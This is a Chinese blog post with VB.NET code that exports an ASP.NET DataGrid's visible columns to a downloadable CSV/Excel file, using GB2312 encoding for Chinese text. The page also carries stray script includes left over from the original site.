将DataGrid中数据倒出Excel文件并下载

<script language='javascript' src='http://www.shiqiaotou.com/donetk/Header.js'></script>   Imports System
  Imports System.Text
  Namespace toExcel
  
  '功能:将ASP.net中DataGrid生成Excel文件下载。
  'Mountains改进:1、支持中文 2、隐藏列不显示
  '日期:2002.10.30
  Public Class DataGridToCSV
  
  Public Function GenerateFile(ByRef Page As System.Web.UI.Page, ByVal MyDataGrid As System.Web.UI.WebControls.DataGrid, ByVal FileName As String) As String
  
  Dim resp As HttpResponse
  Dim colCount As Integer = MyDataGrid.Columns.Count - 1
  
  resp = Page.Response
  
  resp.ContentEncoding = System.Text.Encoding.GetEncoding("GB2312") '解决中文乱码之关键
  'resp.Charset = "utf-8"
  'resp.AddFileDependency(FileName)
  'resp.ContentType = "Text/HTML"
  ''resp.AppendHeader("Content-Type", "text/html; charset=gb2312")
  
  resp.AppendHeader("Content-Disposition", "attachment;filename=" + FileName) '必要,做成下载文件
  
  
  Dim colHeaders As String = ""
  Dim strItems As StringBuilder = New StringBuilder()
  
  Dim myCol As DataGridColumn
  
  Dim i As Integer
  
  For i = 0 To colCount
  myCol = MyDataGrid.Columns(i)
  If myCol.Visible = True Then
  colHeaders = colHeaders & myCol.HeaderText.ToString & ","
  End If
  Next
  
  If colHeaders.Length > 0 Then
  colHeaders = colHeaders.Substring(0, colHeaders.LastIndexOf(","))
  End If
  
  colHeaders = colHeaders & Chr(13) & Chr(10)
  
  
  resp.Write(colHeaders)
  
  Dim colRow As String
  
  Dim item As DataGridItem
  
  For Each item In MyDataGrid.Items
  resp.Write(FormatExportRow(colCount, item, MyDataGrid))
  Next item
  
  resp.End()
  
  End Function
  
  Private Function FormatExportRow(ByVal colCount As Integer, ByVal Item As DataGridItem, ByVal MyDataGrid As System.Web.UI.WebControls.DataGrid) As String
  Dim strItem As String
  Dim i As Integer
  
  For i = 0 To colCount
  If MyDataGrid.Columns(i).Visible = True Then
  If Item.Cells(i).Text Is System.DBNull.Value Then
  Item.Cells(i).Text = ""
  End If
  If i = colCount Then
  strItem += Item.Cells(i).Text.ToString & Chr(13) & Chr(10)
  Else
  strItem += Item.Cells(i).Text.ToString & ","
  End If
  End If
  Next
  strItem = Replace(strItem, " ", " ")
  Return strItem
  End Function
  
  
  End Class
  
  End Namespace<script language='javascript' src='http://www.shiqiaotou.com/donetk/Footer.js'></script>
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值